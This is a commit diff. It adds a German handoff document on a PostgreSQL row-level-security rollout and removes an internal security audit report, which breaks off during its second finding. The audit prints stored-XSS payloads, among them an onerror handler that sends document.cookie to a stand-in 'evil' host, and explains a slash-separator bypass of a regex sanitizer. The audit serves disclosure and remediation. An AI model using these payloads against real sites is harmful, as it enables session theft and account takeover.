Refresh HiveGrid Cloud reference snapshot

This commit is contained in:
david committed 2026-08-03 15:31:14 +02:00
1 parent 5e99e14772
commit 7f88026f79
5955 files changed
+1177325 -188362

No files matched your search

@@ -0,0 +1,372 @@
# RLS-Härtung — Implementierungs- und Operations-Handoff
**Branch-Start:** 13.07.2026
**Nachweisstand:** 14.07.2026
**Scope:** anwendungsweites PostgreSQL-RLS, Rollen, Runtime-Kontext, CI und Deploy-Vertrag
## Status in einem Satz
Der Branch enthält einen vollständigen, generierten RLS-Vertrag mit lokalen
statischen und ephemeren PostgreSQL-Nachweisen. **Staging ist seit dem 14.07.2026
ausgerollt (siehe „Staging-Rollout"); Produktion steht weiterhin aus, dort sind
Bestandsdaten, reale Rollen/Secrets, PgBouncer, Read-Replicas und
Coolify-Ressourcen noch nicht als produktiv grün belegt.**
## Staging-Rollout (14.07.2026, durchgeführt von Akeshan)
**Ergebnis:** 180/180 Migrationen, `20260713190000_appwide_rls_cutover` angewandt,
264 Tabellen mit aktivem RLS. Alle 9 Coolify-Ressourcen healthy auf `hivegrid_app`
bzw. `hivegrid_worker` mit `RLS_RUNTIME_MODE=required`. Bestandsdaten unverändert
(54 User, 3 Tenants). Tenant-A/B-Isolation verifiziert: ohne gebundenen Kontext
sieht `hivegrid_app` **null** Tenants, mit Kontext genau den eigenen und **null**
fremde. Vorher: `pg_dump -Fc` + Restore-Probe in eine Wegwerf-DB (identische
Tabellen-/Zeilenzahlen), Backup auf staging-1 unter `/root/hivegrid-cutover-*`.
**Drei Dinge, die der Rollout-Plan nicht vorhergesehen hat** — für den
Prod-Rollout vorab zu klären:
1. **Der Migrator braucht Netzwerkzugriff auf die Ziel-DB.** Der One-Shot-Container
läuft als `docker run` auf dem **CI-Runner-Host**, nicht auf dem DB-Host. Die
Staging-Postgres veröffentlichte keinen Port und war nur im Coolify-Docker-Netz
auflösbar → der erste Versuch scheiterte mit „PostgreSQL migrator role
verification failed". **Diese Meldung ist der Catch-all für Verbindungsfehler**,
nicht für einen Rollen-Verstoß — ein echter Vertragsbruch meldet konkret. Gelöst
über einen mesh-only Forwarder (`hivegrid-db-mesh`, `10.42.0.3:5432`, kein
`0.0.0.0`); `STAGING_MIGRATOR_DATABASE_URL` zeigt darauf. Für Prod: Erreichbarkeit
des Runners zur Prod-DB **vor** dem Fenster klären (dort existieren Private-IPs
`10.0.0.x`). Siehe `infra/LESSONS.md`.
2. **Die Coolify-Ressource `hivegrid-hocuspocus` fehlte.** Der Deploy verlangt sie
zwingend („must all exist") und bricht sonst fail-closed ab. Angelegt und in
`COOLIFY_STAGING_RESOURCE_UUIDS` ergänzt. **Prod-Allowlist vorab prüfen.**
3. **Der Demo-Login-Schalter hing an `SEED_*`-Variablen.** Da der Deploy-Vertrag
jeden `SEED_*`-Schlüssel auf Runtime-Ressourcen abweist, sperrte der Cutover
sämtliche Staging-Demo-Konten aus („Dieses Nutzerkonto kann in Produktion nicht
verwendet werden"). Der Gate ist ein **Runtime**-Schalter, kein Seed-Schalter,
und heißt jetzt `STAGING_DEMO_LOGIN_ENABLED` (wirkt nur mit
`SENTRY_ENVIRONMENT=staging`). Betrifft Prod nicht, ist aber die generelle Lehre:
**kein Laufzeit-Flag mit `SEED_`-Präfix.**
**Offen für Produktion:** Secret `MIGRATOR_DATABASE_URL` existiert nicht; Rollen sind
dort nicht provisioniert; Runtime-Env noch auf der alten Rolle. Ein `promote` schlägt
bis dahin fehl. Zusätzlich offen: der tenant-bewusste Operator-Seed-Workflow (Seeding
ist auf Runtime-Ressourcen abgeschaltet).
## Was der Branch absichert
### Vollständige und explizite Klassifikation
- `prisma/tenant-scope-manifest.mjs` klassifiziert alle 262 Prisma-Modelle und
zwei implizite Tabellen. Keine Tabelle fällt aufgrund einer Namensheuristik
still in einen Default.
- Der generierte Vertrag umfasst 264/264 RLS-Definitionen. Davon sind 221
Modelle laut Manifest RLS-pflichtig; die übrigen Klassifikationen beschreiben
globale Kataloge, geteilte globale Daten oder den Plattform-Admin-Datenraum.
- Nullable Tenant-Spalten, FK-abgeleitete Ownership, Worker-Poller,
Plattform-Operatoren und globale Lesepfade stehen explizit in
`prisma/tenant-policy-contract.mjs`.
- `scripts/generate-tenant-policy-contract.mjs` erzeugt sowohl
`prisma/rls/tenant-policy-contract-isolation.sql` als auch die
Forward-only-Cutover-Migration. `--check` verhindert Drift zwischen Quelle,
Artefakt und Migration.
### Datenbankrollen und begrenzte Ausnahmen
- `hivegrid_app`: `LOGIN`, `NOSUPERUSER`, `NOINHERIT`, `NOBYPASSRLS`, keine
Mitgliedschaft; verwendet von Web, API, MCP und Hocuspocus.
- `hivegrid_worker`: gleicher eingeschränkter Login-Vertrag, keine
Mitgliedschaft; verwendet von allen Worker-Gruppen.
- `hivegrid_authentik_jit`: eingeschränkter Login ohne Tabellen- oder
Sequenzrechte; nur der verifizierte Authentik-Callback nutzt sein einziges
`EXECUTE`-Recht auf die JIT-Capability.
- `hivegrid_migrator`: `LOGIN`, kein Superuser/BYPASSRLS; einzige
Mitgliedschaft ist die Definer-Rolle mit `SET TRUE`, ohne `ADMIN` oder
`INHERIT`; nur für die kurzlebige Prisma-Migration.
- `hivegrid_rls_definer`: `NOLOGIN`, `BYPASSRLS`, keine allgemeinen
Admin-Rechte; Eigentümer der geprüften Capability-Funktionen.
`scripts/provision-rls-roles.mjs` setzt diese Attribute und Mitgliedschaften
idempotent, erzwingt getrennte SCRAM-Secrets und überträgt Datenbank, Schema und
nicht zu Extensions gehörende Anwendungsobjekte an den Migrator. App, Worker
und Authentik-JIT können die Definer-Rolle weder erben noch per `SET ROLE`
annehmen. Die Migration selbst erstellt oder verändert keine Rolle und stoppt
bei einer fehlenden Vorprovisionierung mit einem klaren Prerequisite-Fehler.
Die Definer-Ausnahme ist keine generelle Runtime-Hintertür. Die Runtime-
Readiness erwartet genau 44 namentlich und per Signatur gelistete
`SECURITY DEFINER`-Funktionen mit fixiertem `search_path`, `row_security=off`
und exakt geprüftem App-/Worker-/Authentik-JIT-`EXECUTE`-Grant. Unerwartete
Funktionen oder direkte `EXECUTE`-Empfänger machen die Readiness rot.
Davon sind 24 reine Bootstrap-Resolver. Die neu geschlossenen öffentlichen
Provider-Pfade lösen ausschließlich IDs auf: Google Calendar bindet Channel-ID
und Channel-Token, Microsoft Subscription-ID und Client-State, Gmail liefert
eine auf 25 Einträge begrenzte Liste exakt normalisierter Mailbox-Identitäten,
Signatur-Links binden den Token-Hash und Legacy-Open-Tracking zusätzlich den
gespeicherten Tracking-Token. Nur `hivegrid_app` darf diese Resolver ausführen;
Vollzeilen werden anschließend im jeweiligen Tenant-/User-Kontext erneut
gelesen.
### Runtime-Kontext und Fail-closed-Start
- `runWithRlsContext()` bindet die authentifizierte Tenant-/User-Identität an
die aktuelle Async-Call-Chain und verbietet einen Identitätswechsel in einem
aktiven Kontext.
- Der Prisma-Proxy setzt `app.tenant_id`, `app.user_id`,
`app.public_knowledge_base_id` und `app.platform_analytics` ausschließlich mit
`set_config(..., true)` innerhalb einer Transaktion. Verschachtelte
Callback-Transaktionen verwenden dieselbe Transaktion; Array-Transaktionen
sind im RLS-Kontext verboten.
- Für öffentliche und pre-tenant Flows gibt es eng begrenzte Resolver- bzw.
Mutationsfunktionen statt einer ungebundenen Runtime-Rolle mit breiten
Tabellenrechten.
- Tenantlose Plattform-Analytics laufen ausschließlich unter dem isolierten
Literal-Kontext `platformAnalytics: true`. Er erbt weder User/Tenant noch
Public-KB oder eine bestehende Transaktion. Die Readiness meldet bereits ein
auf der Pool-Session verbliebenes `app.platform_analytics` als Kontext-Leak.
- Die Analytics-Policy erlaubt in diesem Kontext für vollständig anonyme
`AnalyticsUniqueVisitor` nur SELECT, INSERT und UPDATE, niemals DELETE.
`AnalyticsPageView` und `AnalyticsEvent` erlauben nur SELECT und INSERT,
sofern eigener Portalbezug und User-/Portalbezug des referenzierten Visitors
vollständig NULL sind. Tenant- und portalgebundene Policies bleiben als
getrennte Alternative bestehen.
- `Event` und `OutboxEvent` sind für die App nach dem Insert unveränderlich:
die App erhält nur SELECT/INSERT, der globale Worker behält SELECT/INSERT/
UPDATE/DELETE. Tenantlose Events brauchen einen exakten `app.user_id`;
tenantlose Outbox-Zeilen zusätzlich `workflow.trigger.event`, ein JSON-
Objekt und eine nichtleere, exakt passende `payload.userId`. Anonyme oder
fremde Tenant-/User-Zeilen bleiben gesperrt; Operatoren dürfen Events nur
global lesen, nicht schreiben.
- Die globalen Admin-Leser für API-Aufrufe, Audit-Trails und Audit-Events
erkennen einen Operator ausschließlich über `app.user_id` plus `AdminUser`.
`ApiKeyLog`, `Log` und `AuditEvent` erlauben diesem Operator SELECT über alle
Tenants und tenantlose Plattformzeilen. `ApiKeyLog` bleibt für die App beim
Schreiben strikt tenantgebunden; tenantlose Mutationen sind weiterhin nur
dem Worker erlaubt. API-Schlüssel selbst erhalten keine globale
Operator-Policy: Listen, Lookup und CRUD laufen je Mandant in einem explizit
gebundenen Tenant-Kontext, und ein Schlüssel kann nicht zwischen Tenants
verschoben werden.
- In Produktion ist `RLS_RUNTIME_MODE=required`. Die Start-Readiness prüft
Runtime-Rolle, `NOBYPASSRLS`, Mitgliedschaften, 264 aktivierte und erzwungene
Tabellen, die erwartete Definer-Allowlist sowie leere Session-GUCs. Web,
API, MCP, Hocuspocus und Worker starten bei Vertragsdrift nicht normal weiter.
Ein explizites `off` oder `audit` wird in `NODE_ENV=production` bereits beim
Auflösen des Modus abgelehnt.
- Worker übernehmen keine generische `payload.userId` als DB-Operatoridentität.
Dadurch kann eine Admin-ID in einer Queue-Payload den Worker nicht zum
Plattform-Operator hochstufen.
### Migration, CI und Deploy
- `prisma/migrations/20260713190000_appwide_rls_cutover/migration.sql` ist die
generierte Forward-only-Cutover-Migration. Sie enthält Backfill-Guards,
Grants, Policies, `ENABLE ROW LEVEL SECURITY` und `FORCE ROW LEVEL SECURITY`.
- GitHub- und Gitea-CI prüfen den generierten Policy-Vertrag und führen
`verify:rls-live` gegen eine frische PostgreSQL-16-Instanz aus.
- Das Live-Gate beweist zusätzlich einen erwarteten Migrationsfehler ohne
Definer-Mitgliedschaft, danach die vollständige Migration als
nicht-privilegierter `hivegrid_migrator` sowie echte App-/Worker-
Read-/Write-Isolation.
- Der Deploy-Workflow verwendet das bereits gebaute immutable Web-Image einmal
als `start.sh migrate`. Nur dieser kurzlebige Prozess erhält `DIRECT_URL`.
Lang laufende App-Runtimes erhalten ausschließlich `hivegrid_app`, Worker
ausschließlich `hivegrid_worker`. Nur Web darf zusätzlich die
`hivegrid_authentik_jit`-URL und das vollständige Authentik-Admin-Env-Set
erhalten; API, MCP, Hocuspocus und Worker lehnen diese Keys ab. Migrator- und
Seed-Variablen werden vor Rollout abgelehnt.
## Reproduzierbarer Nachweis
Auf dem oben genannten Branch-Stand wurden folgende Checks lokal ausgeführt:
- `pnpm run verify:tenant-policy-contract`: PASS, 264/264 Definitionen;
Artefakt und Migration aktuell.
- `pnpm run verify:rls-release-readiness`: PASS, 262/262 Modelle
klassifiziert; 221/221 RLS-Modelle mit Artefakt sowie `ENABLE`, `FORCE` und
Policy in Migrationen.
- `pnpm run verify:migrations-parity`: PASS. Die Rollen werden vor dem Replay
extern provisioniert, alle Migrationen laufen als eingeschränkter
`hivegrid_migrator`, und zwischen Migrationsergebnis und Prisma-Schema wurde
kein Unterschied erkannt.
- Fokussierte DB-/Generator-Suite für Resolver, Tracking und Readiness: PASS,
vier Dateien und 62 Tests. Die fokussierten Webhook-, OAuth-Zugriffs-,
Signatur- und Tracking-Routenprüfungen sind mit acht Dateien und 30 Tests
grün.
- Vollständiger Core-Testlauf: PASS, 760 Testdateien und 4.943 Tests; acht
Dateien mit 46 env-abhängigen Integrationsfällen wurden erwartungsgemäß
übersprungen. `pnpm test:foundation` ist mit 114 Dateien und 678 Tests grün;
`pnpm test:packages` ebenfalls vollständig grün.
- `pnpm run verify:test-coverage`: PASS. Die kritischen RLS-nahen Targets
liegen bei API-Auth auf 99,42 % Statements/97,67 % Branches, bei den Web-
Auth-Services auf 97,46 %/90,42 % und beim Tenant-DB-Service auf
99,53 %/98,61 %.
- Typechecks für Web, DB, CLI, API, Worker, MCP und Hocuspocus sowie der
vollständige ESLint-Lauf: PASS.
- `pnpm run verify:rls-live`: PASS, Migration ohne Definer-Mitgliedschaft
erwartungsgemäß blockiert, Migration als `hivegrid_migrator` grün und 38/38
Live-Isolationstests grün. Darin sind direkte Tabellen-SELECT/INSERT- sowie
fremde Definer-EXECUTE-Versuche als `hivegrid_authentik_jit` negativ geprüft.
Die Zahlen 264 und 221 messen unterschiedliche Dinge: 264 ist der vollständige
Definitionensatz inklusive globaler/Plattform-Klassen; 221 ist die Teilmenge,
für die der statische Release-Check Tenant-RLS in den Migrationen fordert.
## Kontrollierter Rollout
1. **Vorbedingungen:** main-synchronen SHA festhalten, aktuelles Backup oder
Restore-Point bestätigen, Restore-Pfad kennen und ein Schreib-/Cutover-
Fenster freigeben. Keine Produktionsdaten in Logs oder Tickets kopieren.
2. **Rollen provisionieren:** mit der dedizierten, nur für diesen Schritt
verfügbaren Superuser-URL `pnpm run db:roles:provision` ausführen. Den
verifizierten Rollen-/Ownership-Bericht sichern, nicht die Secrets. Dabei
auch `HIVEGRID_RLS_AUTHENTIK_JIT_PASSWORD` setzen und anschließend die
daraus gebildete `AUTHENTIK_ADMIN_JIT_DATABASE_URL` ausschließlich am
Web-Runtime-Resource hinterlegen.
3. **Staging migrieren:** das immutable Web-Image einmal mit dem direkten
Migrator-Secret und Argument `migrate` starten. Kein Seed im selben Prozess.
4. **Runtime umschalten:** App-Ressourcen auf `hivegrid_app`, Worker-Gruppen auf
`hivegrid_worker`; jeweils `RLS_RUNTIME_MODE=required` und die passende
`DATABASE_RUNTIME_ROLE` setzen. `DIRECT_URL`, `MIGRATOR_*`, `MIGRATE_ON_BOOT`,
`SEED_ON_BOOT` und `SEED_*` aus allen Runtime-/vererbten Env-Gruppen entfernen.
5. **Staging beweisen:** Start-Readiness für Primary und konfigurierte Replica,
Migration-Status, Tenant-A/B-Read/Write-Isolation, Worker-Verarbeitung sowie
die kritischen public/pre-tenant Flows prüfen.
6. **Produktion promoten:** erst nach grünem Staging-Proof und bestätigtem
Backup die bereits geprüften SHA-Images promoten. Migration vor den
langlebigen Runtimes ausführen; bei jedem Fehler vor Traffic-Freigabe stoppen.
7. **Nachlauf:** Role-/Grant-Drift, Readiness, PgBouncer-Pools und Fehlerquoten
beobachten. Nur redaktierte Status-, SHA- und Diagnosecodes dokumentieren.
Die operativen Details stehen ergänzend in [`../database.md`](../database.md),
[`../db-ci.md`](../db-ci.md), [`../deployment.md`](../deployment.md) und
[`../ops/pgbouncer.md`](../ops/pgbouncer.md).
## Rollback und Recovery
Die Migration ist forward-only. Die auskommentierte Inverse-SQL am Ende der
Migration ist ein Review-/Recovery-Artefakt, kein automatisch sicherer
Produktions-Rollback.
- Bei einem Fehler **vor** Runtime-Umschaltung: Rollout stoppen, keine
langlebige Runtime mit Migrator-Credentials starten und Ursache per
Forward-Fix oder freigegebenem Restore beheben.
- Bei einem Fehler **nach** Runtime-Umschaltung: Schreiber anhalten. Nicht als
Schnellfix `BYPASSRLS`, Superuser-Rechte, Definer-Mitgliedschaft oder breite
Tabellen-Grants an App/Worker vergeben.
- Ein Code-/Image-Rollback darf nur auf einen schema-kompatiblen, bekannten SHA
zeigen. Die bereits angewandte Migration wird nicht umbenannt oder verändert.
- Muss der Datenbank-Cutover zurückgenommen werden, erfolgt das im
Wartungsfenster aus dem bestätigten Backup/Restore-Punkt oder anhand einer
separat reviewten Inverse-/Forward-Migration. Vor Traffic-Freigabe müssen
Rollen, Ownership, Policies und Tenant-A/B-Isolation erneut grün sein.
- Ein reiner PgBouncer-Rollback darf direkt auf Postgres zeigen, muss aber die
getrennten `hivegrid_app`-/`hivegrid_worker`-Credentials, die web-exklusive
`hivegrid_authentik_jit`-Capability und den vollständigen RLS-Vertrag
beibehalten.
## Rest-Risiken und offene Operations-Proofs
1. **Produktion ist nicht verifiziert.** Repository- und Ephemeral-DB-Proof
sagen nichts über tatsächliche Produktionsrollen, Grants, Bestandsdaten,
Pooler-/Replica-Drift oder Coolify-Vererbung aus.
2. **Legacy-Daten können Guards auslösen.** Die Cutover-Migration bricht bei
nicht eindeutig zuordenbaren Ownership-Zeilen absichtlich ab. Diese Daten
müssen vor dem Produktionslauf redaktiert analysiert und fachlich bereinigt
werden; sie dürfen nicht pauschal einem Tenant zugeordnet werden.
3. **Capability-Funktionen sind hochsensibel.** Jede neue öffentliche,
pre-tenant, Worker- oder Operator-Ausnahme benötigt einen expliziten
Contract-Eintrag, minimale Grants, Generator-/Readiness-Nachzug und einen
negativen Isolationstest.
4. **Global- und Cross-tenant-Pfade bleiben Sonderfälle.** Worker-Poller,
Plattform-Inboxen, globale Knowledge-Base-/Workflow-Daten und nullable
Ownership sind explizit modelliert, müssen bei jeder Fachänderung aber
erneut auf Datenminimierung geprüft werden.
5. **Fresh-DB ist nicht Bestands-DB.** Das Live-Gate beweist Migration und
Isolation auf einer leeren PostgreSQL-16-Datenbank mit Fixtures. Ein
produktionsnaher Restore-/Cutover-Drill bleibt notwendig.
6. **Seed bleibt getrennt.** Die bestehende Seed-Infrastruktur ist keine
freigegebene RLS-Produktionsautorität und darf nicht in den Migrator oder die
Runtime zurückverdrahtet werden.
## Incident 2026-07-14: Passwort-Login auf Staging
### Befund und Ursache
Der auf `842b82690080555ec024d1a61c570730075a76d1` laufende Web-Prozess
enthielt zwei getrennt ausgewertete Kopien von `@hivegrid/db`: eine im äußeren
Node-Server-Bundle und eine im React-Router-Server-Bundle. Beide Kopien teilten
den über `global.__db` gecachten Prisma-Client, besaßen aber jeweils einen eigenen
`AsyncLocalStorage` für den RLS-Kontext.
Der äußere Server rief `assertRlsRuntimeReady()` vor dem Import des
React-Router-Builds auf und initialisierte dadurch den globalen Prisma-Proxy. Der
Pre-Auth-Pfad band die aufgelöste User-ID anschließend im RLS-Kontext der inneren
Bundle-Kopie. Der bereits erzeugte Proxy las jedoch den Kontext der äußeren Kopie,
sah deshalb keine Identität und führte den User-Lookup unscoped aus. `FORCE ROW
LEVEL SECURITY` blendete die User-Zeile korrekt aus. `getUserByEmail()` lieferte
somit `null`; der Auth-Service prüfte absichtlich nur den Dummy-Hash und antwortete
mit `api.errors.invalidPassword`.
Das erklärt auch den scheinbaren Widerspruch: Der `SECURITY DEFINER`-Resolver fand
die Identität, weil er keine Session-GUC benötigt, während der anschließende
Tabellenzugriff ohne den tatsächlich vom Proxy gelesenen RLS-Kontext keine Zeile
sah. Ein redaktierter Doppel-Bundle-Probe im laufenden Prozess belegte genau diese
Kette: globaler Client wiederverwendet, Resolver erfolgreich, App-Lookup ohne
erneutes Wrapping unsichtbar, derselbe Lookup nach Wrapping mit dem zweiten Kontext
sichtbar. Es wurden dabei weder E-Mail, Passwort noch Hash ausgegeben.
PR #113 war nur die zeitliche Deploy-Korrelation. Auch das unmittelbare
Vorgänger-Image `576f543318d00cb315529b550bcc47e808f8f944` und das erste
Post-RLS-Image `01a7b4f991c0d5860177182c4eb7c66ffc671d80` enthalten
die doppelte Kontextstruktur. Die letzten erfolgreichen Sessions lagen vor PR
#110; der Defekt kam mit Commit `66e76722fddce33e3e076813b99083b4e531cd74`
in den RLS-Runtime-Pfad. Die Pre-RLS-Images
`39fe47f3a342e5825a472a75dcbee887668f5123` und
`7ae0172e31799bba95fba4a0f39677f03ee8eff0` enthielten nur die App-seitige
Initialisierung und waren strukturell nicht betroffen. Argon2 0.44.0, seine
nativen Binaries, Node 24 ABI 137 und der Prozess-Start ohne Sonderflags waren in
den verglichenen Images gleich und sind als Ursache ausgeschlossen.
### Korrektur und Regression
- Der RLS-`AsyncLocalStorage` liegt pro Node-Prozess auf `globalThis`. Getrennt
ausgewertete Bundle-Kopien und der globale Prisma-Proxy greifen dadurch auf
denselben Request-Kontext zu; die Transaktions-GUCs bleiben fail-closed.
- Zwei Unit-Regressionen prüfen die getrennte Modulauswertung und insbesondere
den kritischen Fall „Proxy aus Bundle A, Identität aus Bundle B“.
- Der Docker-Web-Runtime-Smoke erzeugt einen isolierten Login-Fixture, startet
das exakte Produktions-Image als `hivegrid_app` mit
`RLS_RUNTIME_MODE=required`, führt GET/POST mit CSRF und vollständigem
Cookie-Transport aus und verlangt Redirect, Session-Cookie sowie exakt eine
aktive `UserSession`. Das Vorher-Image scheitert damit reproduzierbar mit HTTP
400; das korrigierte Image besteht den Lauf.
- Die generische Diagnose protokolliert nur Operationscode, Fehlerklasse und
optionale technische Fehlerkennung. Passwort, Hash und E-Mail werden weder bei
der Verifikation noch beim RLS-Anomaliehinweis geloggt.
### Zustand der Demo-Zugangsdaten
Die 50 User von `demo-pro-crm` bleiben bewusst auf das kanonische gemeinsame
Staging-Demo-Passwort aus dem Secret-Store rotiert, wie in
[`../deploy/DEMO-PRO-SEED.md`](../deploy/DEMO-PRO-SEED.md) vorgesehen. Die
redaktierte Bestandsprüfung ergab 50 User, 50 Argon2id-Hashes und 0 Null-Hashes.
Das Backup der 50 vorherigen Hashes liegt ausschließlich auf `staging-1` unter
`/root/demo-pro-pw-backup-20260714.tsv`, hat Modus `0600` und 50 Zeilen. Es wird
nicht in das Repository kopiert. `SEED_*` bleibt entsprechend dem Runtime-Vertrag
aus dem Web-Container entfernt; der Staging-Login-Schalter ist davon getrennt.
## Review-Einstiegspunkte
- Klassifikation: `prisma/tenant-scope-manifest.mjs`
- Fachlicher Vertrag: `prisma/tenant-policy-contract.mjs`
- Generator: `scripts/generate-tenant-policy-contract.mjs`
- Cutover: `prisma/migrations/20260713190000_appwide_rls_cutover/migration.sql`
- Rollen: `scripts/provision-rls-roles.mjs`
- Kontext/Proxy: `packages/db/src/rls-context.server.ts`,
`packages/db/src/rls-client.server.ts`
- Runtime-Readiness: `packages/db/src/rls-runtime-readiness.server.ts`
- Live-Gate: `scripts/verify-rls-live.sh`,
`packages/db/src/rls-live.integration.test.ts`
- Deploy-Grenze: `start.sh`, `.gitea/workflows/deploy.yml`,
`scripts/coolify-deploy.mjs`
@@ -1,700 +0,0 @@
# Security Audit — hivegrid-cloud
Date: 2026-05-29
Method: 10 parallel security finders (multi-agent) + adversarial per-finding verification.
Scope: full monorepo (apps/web, apps/api, apps/worker, apps/hocuspocus, packages/*, infra).
Result: 27 raw findings -> **17 confirmed/likely**, 10 false positives filtered out, 0 need manual review.
## Remediation status (2026-05-29)
16 of 17 findings fixed across three commits on branch `security/audit-2026-05-29-fixes`. Each fix has tests and passed the repo pre-commit gates (test-density, eslint-baseline, secrets) and the web typecheck.
- **Wave 1 — XSS + SSRF** (`963302a7`): markdown sanitizer (escape raw HTML at the marked layer + harden server fallback), entity-row WYSIWYG cells, raw SVG icons (new `sanitizeIconSvg`), row-media SSRF, avatar/branding SSRF (`HTTP://` bypass), entity-webhook DNS-rebinding SSRF.
- **Wave 2 — authn/authz** (`fb6beb78`): collab-token resource-level authorization (row read-permission + kb-article tenant ownership, fail-closed unknown types), API login dummy-hash (account-enumeration timing), constant-time service-token comparison.
- **Wave 3 — config/infra** (`c9717296`, `3b116672`): production secret-strength validation at boot, Meilisearch bound to loopback, secure-by-default `API_KEY_LEGACY_PLAINTEXT_FALLBACK=false`, fail-closed public rate limiters, admin-SSO `returnTo` backslash open-redirect, Meilisearch KB filter escaping, CI `workflow_dispatch` script-injection (env-bound inputs).
**Deferred (1):** _"API session revocation/logout is process-local"_ (Low). The fix — backing the in-memory store with a shared store (Redis) — is a sync→async refactor of auth-critical code touching every session call site plus dependency wiring, and cannot be validated against real infra in this pass. Tracked for a dedicated change; current TTL (1h) limits exposure.
---
## 1. [High] Stored XSS via markdown sanitizer regex-fallback bypass (slash-separated attributes) on server-rendered surfaces
- **Category:** Stored XSS | **Verdict:** confirmed | **Fix effort:** moderate | **Finder confidence:** high
- **Location:** `apps/web/app/utils/html-sanitizer.ts:61-92 (sanitizeWithStringFallback), 13-19 (sanitizeMarkedHtml fallback selection)`
- **Data flow:** Tenant editor authors markdown (e.g. KB article contentPublished, row log comment, prompt response) -> stored verbatim in DB -> renderSanitizedMarkdown(content) -> marked.parse passes block-level raw HTML through unchanged -> on the server DOMParser is undefined so sanitizeMarkedHtml uses sanitizeWithStringFallback -> the on*-attribute stripping regex requires a leading whitespace (\s) so slash-delimited attributes are NOT removed -> dangerouslySetInnerHTML emits <img/src=x/onerror=...> in the SSR HTML -> browser parses and fires the handler
**Exploit scenario**
A KB editor (or anyone who can author KB article content / entity row comments) saves an article body containing `<div><img/src=x/onerror=fetch('//evil/'+document.cookie)></div>`. marked emits this block-level HTML verbatim. During SSR the regex sanitizer leaves `<img/src=x/onerror=...>` intact because there is no whitespace before `onerror`. Every reader of that KB article (potentially anonymous public help-center visitors) executes the attacker's JS in the app origin, enabling session/token theft and account takeover.
**Evidence**
```
sanitized=sanitized.replace(/\s(?:on[\w:-]+|style|srcdoc)\s*=\s*(?:"[^"]*"|'[^']*'|[^\s"'=<>`]+)/gi,""); // requires \s before on-handler; `<img/src=x/onerror=alert(1)>` is left UNCHANGED (verified end-to-end with marked + this fallback: output still contains onerror)
```
**Recommended fix**
Do not hand-roll an HTML sanitizer with regexes; the server path (no DOMParser) is the one that ships to users and it is bypassable. Replace sanitizeMarkedHtml with a vetted library that runs on the server, e.g. isomorphic-dompurify / sanitize-html with a strict allowlist, applied on BOTH server and client. As an immediate stopgap also configure marked with an output that escapes raw HTML (e.g. a renderer that does not pass through block HTML) and add the slash-delimited-attribute and `/`-as-separator cases to html-sanitizer.test.ts.
**Verifier notes**
The core vulnerability is real and exploitable; the finder's root-cause analysis is correct, though their literal PoC payload is non-firing.
DATA FLOW (verified by reading code + runtime tests):
1. WRITE: apps/web/app/routes/admin/knowledge-base/bases.$slug/articles.$lang.$id.edit.tsx:72-81 stores article body verbatim (contentDraft: content, then published to contentPublished). I grepped the entire knowledgeBase module for sanitize/DOMPurify/escapeHtml at write time — NONE exists. Content is stored as-is.
2. READ (public, anonymous): apps/web/app/routes/help/$slug.($lang).articles.$article.tsx -> KbRoutesArticleApi.loader (apps/web/app/modules/knowledgeBase/routes/api/KbRoutes.Article.Api.tsx:31-70). This loader has NO requireAuth/permission guard — it serves published articles to anonymous help-center visitors.
3. RENDER: KbArticle.tsx:52 -> KbArticleContent.tsx:80 does <div dangerouslySetInnerHTML={{__html: renderSanitizedMarkdown(content)}} />.
4. SANITIZER: renderSanitizedMarkdown -> marked.parse (passes block-level raw HTML through verbatim, confirmed via runtime test) -> sanitizeMarkedHtml (html-sanitizer.ts:13-19). On the SERVER (SSR) DOMParser is undefined (no jsdom/polyfill on server — verified via grep), so sanitizeWithStringFallback runs. Its on*-attribute regex (line 68: /\s(?:on[\w:-]+|style|srcdoc).../ and line 69 /\s(?:on...)(?=\s|>|\/)/) BOTH require a leading \s, so attributes separated by HTML's other legal separator '/' are NOT stripped.
RUNTIME VERIFICATION: I ran marked + the exact fallback regex + jsdom parsing. The finder's literal payload `<img/src=x/onerror=alert(1)>` does NOT fire — '/' inside an unquoted attribute value is consumed into src (src becomes 'x/onerror=alert(1)', no onerror attribute). HOWEVER a trivially adjusted payload `<div><img src="x"/onerror=alert(1)></div>` survives the server sanitizer UNCHANGED and, when parsed by a browser/jsdom, produces a real IMG with a live onerror attribute (verified: FIRES=true, IMG[onerror=alert(1)]). The client DOMParser path correctly strips it (verified output: <div><img src="x"></div>), so this is a server-SSR-only bypass that ships to every reader.
The finder's root cause (\s-anchored regex misses non-whitespace HTML attribute separators), the SSR fallback selection, the public/anonymous reach, and the lack of write-time sanitization are all confirmed. Only their specific PoC string was non-firing; the exploit class is fully open with a seconds-long adjustment. Existing html-sanitizer.test.ts only tests whitespace-separated attrs and runs under jsdom (DOMParser path), so it never exercises the vulnerable server fallback.
**Existing mitigations:** Partial only, none sufficient: (1) The DOMParser/client path (sanitizeWithDomParser) DOES correctly strip on*/style/srcdoc regardless of separator — but it runs only in the browser; the server SSR render uses the bypassable string fallback and that HTML is what ships in the initial document. (2) marked escapes INLINE raw HTML, but passes BLOCK-level raw HTML (lines starting with a tag, e.g. wrapped in <div>) through verbatim — confirmed at runtime. (3) The admin edit/write route is permission-gated (verifyUserHasPermission admin.kb.update + CSRF), so only an authenticated KB editor can author the payload — but the READ surface is anonymous public, so any tenant editor (or compromised editor account) achieves stored XSS against all public readers. No write-time sanitization, no allowlist, no DOMPurify/sanitize-html anywhere in the path.
---
## 2. [High] Stored XSS: entity-row WYSIWYG values rendered with dangerouslySetInnerHTML and NO sanitization
- **Category:** Stored XSS | **Verdict:** confirmed | **Fix effort:** moderate | **Finder confidence:** high
- **Location:** `apps/web/app/utils/helpers/RowHelper.tsx:68 (also apps/web/app/utils/helpers/RowValueUI.tsx:75)`
- **Data flow:** Tenant user creates a TEXT property with Editor attribute = 'wysiwyg' -> stores an arbitrary string in a row value (no sanitization on save) -> getFormattedValue returns the raw string (PropertyType.TEXT returns value verbatim, RowHelper.tsx:289-292) -> RowHelper.getCellValue / RowValueUI render `<div dangerouslySetInnerHTML={{ __html: formattedValue }} />` with zero sanitization -> rendered in the entity grid (RowDisplayHeaderHelper.tsx:119), Kanban (RowsKanban.tsx:71) and new-row preview (RowNewRoute.tsx:132)
**Exploit scenario**
A low-privileged tenant member sets a custom-entity text field (configured with the WYSIWYG editor) to `<img src=x onerror=alert(document.cookie)>` and saves the row. When any other user in the tenant (including admins) opens the entity list/Kanban view, the unsanitized HTML is injected and the script runs in their session. Unlike the input component (RowValueInput.tsx:167 uses renderSanitizedMarkdown), the display cells apply no sanitizer at all, so even a plain `<img onerror>` works.
**Evidence**
```
